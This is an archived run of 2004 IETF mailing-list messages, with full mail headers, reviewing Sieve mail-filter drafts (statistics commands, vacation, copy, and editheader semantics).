Re: Please review ; Sieve Statistics and Sieve remove attachments

[Lyndon Nerenberg <[e-mail]>]

--On 2004-1-30 1:20 AM +0530 Madan Ganesh Velayudham 
<[e-mail]> wrote:

> 	Please share views on the following :
>
> "SIEVE Statistics", Madan Velayudham, 03-Dec-03. (9179 bytes)

Some comments based on a quick scan of the document ...

Section 4:

* "action" needs to be more clearly defined

Section 5:

* Why two capabilities? Both commands are required, so there's 	no 
point in advertising two capability strings. The capability should be 
changed to something like "STATISTICS".

Section 6:

* What does a "zero valued action counter" mean? Surely '0' is a valid 
counter value, meaning the action has never been triggered. I think 
what you're implying here is that a '0' value means the counter for the 
action isn't implemented. If that's the case, just don't return a 
response for that action.

* Presumably GETSTAT is only valid in authenticated state? (Section 7 
explicitly calls this out, so section 6 should as well.)

Section 8:

* The grammar (and semantic description) for the command responses is 
missing.

Section 9:

* Since there's no way (that I can see) to access another users counter 
data (through the protocol), this text doesn't seem relevant.

General:

* How useful is the returned data? The fact that an action took place 
doesn't really tell me anything. I would be much more interested in 
seeing how often each rule fired, as that would allow me to optimize my 
rulesets.

--lyndon



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TLA1tN059239; Thu, 29 Jan 2004 13:10:01 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TLA1HC059238; Thu, 29 Jan 2004 13:10:01 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from orthanc.ca (orthanc.ca [209.89.70.53]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TL9wqS059204 for <[e-mail]>; Thu, 29 Jan 2004 13:10:00 -0800 (PST) (envelope-from [e-mail])
Received: from d154-5-112-162.bchsia.telus.net (d154-5-112-162.bchsia.telus.net [154.5.112.162]) (authenticated bits=0) by orthanc.ca (8.12.9p1/8.12.9) with ESMTP id i0TL9pTh027878; Thu, 29 Jan 2004 14:09:52 -0700 (MST) (envelope-from [e-mail])
Date: Thu, 29 Jan 2004 13:09:46 -0800
From: Lyndon Nerenberg <[e-mail]>
To: Madan Ganesh Velayudham <[e-mail]>, [e-mail]
Subject: Re: Please review ; Sieve Statistics and Sieve remove attachments
Message-ID: <[e-mail]>
In-Reply-To: <[e-mail]>
References:  <[e-mail]>
X-Mailer: Mulberry/3.1.1 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham  version=2.60
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on orthanc.ca
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--On 2004-1-30 1:20 AM +0530 Madan Ganesh Velayudham 
<[e-mail]> wrote:

> 	Please share views on the following :
>
> "SIEVE Statistics", Madan Velayudham, 03-Dec-03. (9179 bytes)

Some comments based on a quick scan of the document ...

Section 4:

* "action" needs to be more clearly defined

Section 5:

* Why two capabilities? Both commands are required, so there's 	no 
point in advertising two capability strings. The capability should be 
changed to something like "STATISTICS".

Section 6:

* What does a "zero valued action counter" mean? Surely '0' is a valid 
counter value, meaning the action has never been triggered. I think 
what you're implying here is that a '0' value means the counter for the 
action isn't implemented. If that's the case, just don't return a 
response for that action.

* Presumably GETSTAT is only valid in authenticated state? (Section 7 
explicitly calls this out, so section 6 should as well.)

Section 8:

* The grammar (and semantic description) for the command responses is 
missing.

Section 9:

* Since there's no way (that I can see) to access another users counter 
data (through the protocol), this text doesn't seem relevant.

General:

* How useful is the returned data? The fact that an action took place 
doesn't really tell me anything. I would be much more interested in 
seeing how often each rule fired, as that would allow me to optimize my 
rulesets.

--lyndon



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TJoIlj042477; Thu, 29 Jan 2004 11:50:18 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TJoIKX042476; Thu, 29 Jan 2004 11:50:18 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TJoHIx042469 for <[e-mail]>; Thu, 29 Jan 2004 11:50:17 -0800 (PST) (envelope-from [e-mail])
Received: from iconsrv6.india.hp.com (iconsrv6.india.hp.com [15.42.227.74]) by palrel12.hp.com (Postfix) with ESMTP id 325811C02FCB for <[e-mail]>; Thu, 29 Jan 2004 11:50:17 -0800 (PST)
Received: from india.hp.com (nt23060.india.hp.com [15.42.230.60]) by iconsrv6.india.hp.com (8.11.1 (PHNE_29912)/8.9.3 SMKit7.02) with ESMTP id i0TJadZ26542 for <[e-mail]>; Fri, 30 Jan 2004 01:06:39 +0530 (IST)
Message-ID: <[e-mail]>
Date: Fri, 30 Jan 2004 01:20:18 +0530
From: Madan Ganesh Velayudham <[e-mail]>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031014 Thunderbird/0.3
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: [e-mail]
Subject: Please review ; Sieve Statistics and Sieve remove attachments
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hello,
	
	Please share views on the following :

"SIEVE Statistics", Madan Velayudham, 03-Dec-03. (9179 bytes)

http://www.ietf.org/internet-drafts/draft-madanganeshv-sieve-stat-00.txt

This draft describes a mechanism of collecting the statistical 
information about sieve action on the received mail. It introduces 
GETSTAT and RESETSTAT commands to [MSIEVE] to get and reset the 
statistic information about the sieve actions.

"SIEVE: Remove attachment(s)", Madan Velayudham, 23-Dec-03. (8185 bytes) "

http://ietf.org/internet-drafts/draft-madanganeshv-sieve-remove-attach-00.txt 


This draft introduces an action command 'fileinto-except' to [SIEVE] in 
order to move a message to a folder without certain attachments of the 
received message.

	Thanks and Regards,
	MG

-- 
  _____________________________________________________________
      ___
     /___\      Madan ganesh Velayudham
    |/. .\|     STSD, India
    (   ) )     [phone]
     \ = /
     _)_(_   There are no limitation in what you can do
             except the limitations of your own mind.
_____________________________________________________________



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SI0Ibb048098; Wed, 28 Jan 2004 10:00:18 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SI0IXI048097; Wed, 28 Jan 2004 10:00:18 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from eagle.oceana.com ([208.17.123.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SI0Hf6048087 for <[e-mail]>; Wed, 28 Jan 2004 10:00:17 -0800 (PST) (envelope-from [e-mail])
Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i0SI03jY020937; Wed, 28 Jan 2004 13:00:03 -0500 (EST)
Message-ID: <[e-mail]>
Date: Wed, 28 Jan 2004 13:01:36 -0500
From: Ken Murchison <[e-mail]>
Reply-To: Cyrus Mailing List <[e-mail]>
Organization: Oceana Matrix Ltd.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: [e-mail]
CC: [e-mail], Cyrus Mailing List <[e-mail]>
Subject: Re: Sieve Extensions
References: <[e-mail]>
In-Reply-To: <[e-mail]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Score: 0 (BAYES_00,MAILTO_TO_SPAM_ADDR)
X-Scanned-By: MIMEDefang 2.39
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

[e-mail] wrote:

> hi,
> 
> Is besides the basic sieve action extensions (fileinto, keep, redirect,
> reject, discard & vacation) the regex or subadresses extensions currently
> implemented?, so that I can used it in an script run on an cyrus imapd 2.2.17.

I'm moving this message to the info-cyrus list where its more appropriate.

The answer to your question is yes, the Cyrus Sieve implementation 
supports both of these extensions


-- 
Kenneth Murchison     Oceana Matrix Ltd.
Software Engineer     21 Princeton Place
716-662-8973 x26      Orchard Park, NY 14127
--PGP Public Key--    http://www.oceana.com/~ken/ksm.pgp



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0S0mDOf071969; Tue, 27 Jan 2004 16:48:13 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0S0mDkE071968; Tue, 27 Jan 2004 16:48:13 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by above.proper.com (8.12.11/8.12.8) with SMTP id i0S0mClU071960 for <[e-mail]>; Tue, 27 Jan 2004 16:48:13 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 3705 invoked by uid 0); 28 Jan 2004 00:48:09 -0000
Received: from 80.143.230.234 by www51.gmx.net with HTTP; Wed, 28 Jan 2004 01:48:09 +0100 (MET)
Date: Wed, 28 Jan 2004 01:48:09 +0100 (MET)
From: [e-mail]
To: [e-mail]
MIME-Version: 1.0
Subject: Sieve Extensions
X-Priority: 3 (Normal)
X-Authenticated: #21646041
Message-ID: <[e-mail]>
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

hi,

Is besides the basic sieve action extensions (fileinto, keep, redirect,
reject, discard & vacation) the regex or subadresses extensions currently
implemented?, so that I can used it in an script run on an cyrus imapd 2.2.17.

best regards
-john gildman

-- 
+++ GMX - die erste Adresse für Mail, Message, More +++
Bis 31.1.: TopMail + Digicam für nur 29 EUR http://www.gmx.net/topmail



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PH0W0l005829; Sun, 25 Jan 2004 09:00:32 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0PH0WTb005828; Sun, 25 Jan 2004 09:00:32 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mauve.mrochek.com ([209.55.107.55]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PH0S3A005821 for <[e-mail]>; Sun, 25 Jan 2004 09:00:29 -0800 (PST) (envelope-from [e-mail])
Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <[e-mail]> for [e-mail]; Sun, 25 Jan 2004 09:00:27 -0800 (PST)
Date: Sun, 25 Jan 2004 08:17:22 -0800 (PST)
From: [e-mail]
Subject: AD review comments on draft-showalter-sieve-vacation-05.txt
In-reply-to: "Your message dated Sun, 25 Jan 2004 07:47:32 -0800 (PST)" <[e-mail]>
To: [e-mail]
Cc: [e-mail], [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
Content-type: TEXT/PLAIN; CHARSET=us-ascii
Content-transfer-encoding: 7BIT
References: <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

(Unfortunately this draft has expired. Hopefully this can be corrected in a
timely fashion.)

I reviewed this document once in the past and most of the issues I had were
addressed at that time. The only ones I see that remain are:

(1) In section 3.5 it should be noted that in-reply-to need not be generated
    if the original message doesn't have a message-id. A references field
    should also be generated and set similarly.

(2) In section 3.6 Resent- field variants should be checked for addresses in
    addition to the To:/Cc:/Bcc: fields.

(3) A new section needs to be added before section 3.6 that discusses how
    to set the From: field in vacaation responses. I believe the correct
    advice to give is that the field SHOULD be set to the address of the
    sieve owner.

(4) A new section needs to be added before section 3.6 that discusses how to
    set the To: field in vacation responses. It should say that the
    To: field SHOULD be set to the address of the recipient of the
    response.

(5) A new section needs to be added that says an Auto-submitted: field
    with a value of "auto-replied" SHOULD be included in the message header
    of any vacation reply that is sent.

(6) The sections describing the response message to send are mingled
    with the sections describing the various vacation action parameters.
    These really need to be teased out into a separate major section. The
    major section should also say that the generated response must be
    a valid email message with all of the required header fields present.

(7) This document needs to be reconciled with Keith Moore's draft on
    auto-responders, draft-moore-auto-email-response-04.txt, which has been
    through last call. I've thought about this a lot, and I think the right
    way to do it is to simply add a section that discusses what sort of
    auto-responder this is in Keith's terms. Something like this:

4. Relationship to "Recommendations for Automatic Responses to Electronic Mail"

  The sieve vacation extension implements a "Personal Responder" in the
  terminology defined in [AUTO]. Care has been taken in this specification
  to comply with the recommendations [AUTO] makes in regards to how
  personal responders should behave.

  And of course a reference to [AUTO] needs to be added to the references
  section:

  [AUTO] Moore, K., "Recommendations for Automatic Responses to Electronic
  Mail", Internet-Draft, draft-moore-auto-email-response-04.txt.

(8) The security consideration section is likely to be seen as inadequate
    in its discussion of potential problems auto-responders can cause.
    Fortunately there's a nice way to resolve this without adding a bunch
    of text to the present document: Refer to Keith Moore's auto-responder
    draft with a sentence like:

  Security issues associated with mail auto-responders are fully discussed
  in the security consideration section of [AUTO].

(9) An IANA considerations section needs to be added just after the security
    considerations:

5 IANA Considerations
    
    The following template specifies the IANA registration of the vacation Sieve
    extension specified in this document:
    
    To: [e-mail]
    Subject: Registration of new Sieve extension

    Capability name: vacation
    Capability keyword: vacation
    Capability arguments: N/A
    Standards Track/IESG-approved experimental RFC number: this RFC
    Person and email address to contact for further information:

     Tim Showalter
     Mirapoint, Inc.
     909 Hermosa Court
     Sunnyvale, CA 94085

     E-Mail: [e-mail]

    This information should be added to the list of sieve extensions
    given on http://www.iana.org/assignments/sieve-extensions.

(10) The references section needs to be split into normative and informative
     groups. I believe [MAILBOXNAMES] belongs in the informative section 
     while all the others, including [AUTO], belong in the normative
     section.

(11) IPR boilerplate needs to be added just before the copyright:

Appendix B Intellectual Property Rights Statement

    The IETF takes no position regarding the validity or scope of any
    intellectual property or other rights that might be claimed to
    pertain to the implementation or use of the technology described in
    this document or the extent to which any license under such rights
    might or might not be available; neither does it represent that it
    has made any effort to identify any such rights.  Information on the
    IETF's procedures with respect to rights in standards-track and
    standards-related documentation can be found in BCP-11.  Copies of
    claims of rights made available for publication and any assurances
    of licenses to be made available, or the result of an attempt made
    to obtain a general license or permission for the use of such
    proprietary rights by implementors or users of this specification
    can be obtained from the IETF Secretariat.

That's it.

				Ned



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PGDNGm003522; Sun, 25 Jan 2004 08:13:23 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0PGDNPi003521; Sun, 25 Jan 2004 08:13:23 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mauve.mrochek.com ([209.55.107.55]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PGDM1O003514 for <[e-mail]>; Sun, 25 Jan 2004 08:13:22 -0800 (PST) (envelope-from [e-mail])
Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <[e-mail]> for [e-mail]; Sun, 25 Jan 2004 08:13:19 -0800 (PST)
Date: Sun, 25 Jan 2004 08:12:10 -0800 (PST)
From: [e-mail]
Subject: Re: AD review comments on draft-degener-sieve-copy-01.txt
In-reply-to: "Your message dated Sun, 25 Jan 2004 07:47:32 -0800 (PST)" <[e-mail]>
To: [e-mail]
Cc: Jutta Degener <[e-mail]>, [e-mail], [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
Content-type: TEXT/PLAIN; CHARSET=us-ascii
Content-transfer-encoding: 7BIT
References: <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

> I just reviewed this specification and I think it is quite close to being ready
> for last call. My only comments are:

Oops, missed one. The title of Appendix A needs to be changed to
"Appendix A. Normative references". Sorry about that.

				Ned



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PG0v9P003014; Sun, 25 Jan 2004 08:00:57 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0PG0vHS003013; Sun, 25 Jan 2004 08:00:57 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mauve.mrochek.com ([209.55.107.55]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PG0uHN003007 for <[e-mail]>; Sun, 25 Jan 2004 08:00:56 -0800 (PST) (envelope-from [e-mail])
Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <[e-mail]> for [e-mail]; Sun, 25 Jan 2004 08:00:55 -0800 (PST)
Date: Sun, 25 Jan 2004 07:47:32 -0800 (PST)
From: [e-mail]
Subject: AD review comments on draft-degener-sieve-copy-01.txt
To: Jutta Degener <[e-mail]>
Cc: [e-mail], [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
Content-type: TEXT/PLAIN; CHARSET=us-ascii
Content-transfer-encoding: 7BIT
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

I just reviewed this specification and I think it is quite close to being ready
for last call. My only comments are:

(1) An example showing the use of  the extentsion is needed. In particular,
    I've found that it really helps to have something that shows people what
    needs to be in the "reauire" clause.

(2) There needs to be an IANA considerations section telling IANA what
    to do. Something like this should appear as a section after the security
    considerations:

5 IANA Considerations
    
    The following template specifies the IANA registration of the copy Sieve
    extension specified in this document:
    
    To: [e-mail]
    Subject: Registration of new Sieve extension

    Capability name: copy
    Capability keyword: copy
    Capability arguments: N/A
    Standards Track/IESG-approved experimental RFC number: this RFC
    Person and email address to contact for further information:

      Jutta Degener
      Sendmail, Inc.
      6425 Christie Ave, 4th Floor
      Emeryville, CA 94608

      Email: [e-mail]

    This information should be added to the list of sieve extensions
    given on http://www.iana.org/assignments/sieve-extensions.
    
(3) IPR boilerplate is missing and needs to be added as a separate section
    just before the copyright:
    
Appendix B Intellectual Property Rights Statement

    The IETF takes no position regarding the validity or scope of any
    intellectual property or other rights that might be claimed to
    pertain to the implementation or use of the technology described in
    this document or the extent to which any license under such rights
    might or might not be available; neither does it represent that it
    has made any effort to identify any such rights.  Information on the
    IETF's procedures with respect to rights in standards-track and
    standards-related documentation can be found in BCP-11.  Copies of
    claims of rights made available for publication and any assurances
    of licenses to be made available, or the result of an attempt made
    to obtain a general license or permission for the use of such
    proprietary rights by implementors or users of this specification
    can be obtained from the IETF Secretariat.

That's it. Jutta, if you can make these changes quickly that would be great, if
not I'll probably go ahead and get the last call started anyway and the update
can happen during the last call.

				Ned



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LFs2ib018085; Wed, 21 Jan 2004 07:54:02 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LFs29G018084; Wed, 21 Jan 2004 07:54:02 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0LFs0ib018077 for <[e-mail]>; Wed, 21 Jan 2004 07:54:00 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 18771 invoked from network); 21 Jan 2004 10:52:06 -0500
Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 21 Jan 2004 10:52:06 -0500
X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net
Received: (qmail 25329 invoked by uid 101); 21 Jan 2004 10:53:59 -0500
From: "Mark E. Mallett" <[e-mail]>
Date: Wed, 21 Jan 2004 10:53:59 -0500
To: Nigel Swinson <[e-mail]>
Cc: Jutta Degener <[e-mail]>, [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <004601c3dfb5$63fff7e0$6601a8c0@nigelhome>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <004601c3dfb5$63fff7e0$6601a8c0@nigelhome>
User-Agent: Mutt/1.4.1i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Wed, Jan 21, 2004 at 12:27:45AM -0000, Nigel Swinson wrote:
>  
> > Should we say that
> > [ ] the first fileinto wins, say that
> > [ ] any one fileinto may win (but it has to be one of
> >     the actual fileintos - can't have just half the
> >     headers or additional headers),
> > [ ] the last fileinto wins,
> > [ ] or leave it completely open?
> > 
> > I'd like one of the first three -- I think if it is one of the
> > fourth, it starts weakening the connection between message modification
> > and message use, and I'd like that connection to be a strong one.
> 
> Well action-as-you-go implementations are going to vote for 1,
> actions-all-at-the-end impelmentations are going to vote for 3, and I
> think we need to make it equally feasable to implement either way
> which means I think we have to have either option 2 or 4.  So that
> makes me vote for option 2?

That seems logical.

mm



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0L0WIib098415; Tue, 20 Jan 2004 16:32:19 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0L0WILu098406; Tue, 20 Jan 2004 16:32:18 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from vementry.enterprise.ucs.ed.ac.uk (vementry.enterprise.ucs.ed.ac.uk [129.215.200.96]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0L0WDib098330 for <[e-mail]>; Tue, 20 Jan 2004 16:32:13 -0800 (PST) (envelope-from [e-mail])
Received: from nigelhome (unverified [82.41.75.235]) by vementry.enterprise.ucs.ed.ac.uk (Rockliffe SMTPRA 6.0.9) with ESMTP id <[e-mail]>; Wed, 21 Jan 2004 00:22:12 +0000
Message-ID: <004601c3dfb5$63fff7e0$6601a8c0@nigelhome>
From: "Nigel Swinson" <[e-mail]>
To: "Jutta Degener" <[e-mail]>
Cc: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action
Date: Wed, 21 Jan 2004 00:27:45 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0L0WEib098357
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

> > >   A message modified by addheader or deleteheader MUST NOT
> > >   be considered the same as the original message unless it
> > >   matches the original message exactly.
> 
> At this point, I'd like to throw this out as well.  Anyone have
> a compelling reason not to?
>
> Personally, I'd like it to be replaced by an explicit statement
> saying that these added headers do *not* make the message different.

Great!  I'd like it thrown too, but it does sounds a little bizzare to do put in the counter statement, as we all know that it isn't actually the same message.   If we are throwing it out, doesn't it make any of the following 4 options correct?
 
> Should we say that
> [ ] the first fileinto wins, say that
> [ ] any one fileinto may win (but it has to be one of
>     the actual fileintos - can't have just half the
>     headers or additional headers),
> [ ] the last fileinto wins,
> [ ] or leave it completely open?
> 
> I'd like one of the first three -- I think if it is one of the
> fourth, it starts weakening the connection between message modification
> and message use, and I'd like that connection to be a strong one.

Well action-as-you-go implementations are going to vote for 1, actions-all-at-the-end impelmentations are going to vote for 3, and I think we need to make it equally feasable to implement either way which means I think we have to have either option 2 or 4.  So that makes me vote for option 2?

Nigel



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KLrnib088561; Tue, 20 Jan 2004 13:53:49 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KLrn61088560; Tue, 20 Jan 2004 13:53:49 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KLrmib088545 for <[e-mail]>; Tue, 20 Jan 2004 13:53:48 -0800 (PST) (envelope-from [e-mail])
Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0KLrlEm029889 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Tue, 20 Jan 2004 13:53:47 -0800 (PST)
Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0KLrkF2021682; Tue, 20 Jan 2004 13:53:47 -0800
Received: by jutta.sendmail.com (Postfix, from userid 500) id 77C1E17995; Tue, 20 Jan 2004 13:53:28 -0800 (PST)
Date: Tue, 20 Jan 2004 13:53:28 -0800
From: Jutta Degener <[e-mail]>
To: "Matthew Elvey (FM)" <[e-mail]>
Cc: [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <[e-mail]>
User-Agent: Mutt/1.3.24i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Tue, Jan 20, 2004 at 11:49:11AM -0800, Matthew Elvey (FM) wrote:
> I'd like to see this go away:
> 
> >   A message modified by addheader or deleteheader MUST NOT
> >   be considered the same as the original message unless it
> >   matches the original message exactly.

At this point, I'd like to throw this out as well.  Anyone have
a compelling reason not to?

Personally, I'd like it to be replaced by an explicit statement
saying that these added headers do *not* make the message different.

Should we say that
[ ] the first fileinto wins, say that
[ ] any one fileinto may win (but it has to be one of
    the actual fileintos - can't have just half the
    headers or additional headers),
[ ] the last fileinto wins,
[ ] or leave it completely open?

I'd like one of the first three -- I think if it is one of the
fourth, it starts weakening the connection between message modification
and message use, and I'd like that connection to be a strong one.

> I'd like to see replaceheader reconsidered for the spec, or at least any 
> objections to it made public; the standards-setting process must be public.

As I remember it, Ned Freed was vocal and clear on the list about his
intention to do everything in his powers to stop replaceheader, to
general mumbling approval.  Maybe I misinterpreted something?

Jutta



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKVVib085161; Tue, 20 Jan 2004 12:31:31 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KKVVQh085160; Tue, 20 Jan 2004 12:31:31 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKVUib085154 for <[e-mail]>; Tue, 20 Jan 2004 12:31:30 -0800 (PST) (envelope-from [e-mail])
Received: from socrates.cyrusoft.com (socrates.cyrusoft.com [63.163.82.24]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i0KKVP0X025524 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Jan 2004 15:31:26 -0500
Date: Tue, 20 Jan 2004 15:31:38 -0500
From: Cyrus Daboo <[e-mail]>
To: "Matthew Elvey (FM)" <[e-mail]>, [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action
Message-ID: <[e-mail]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
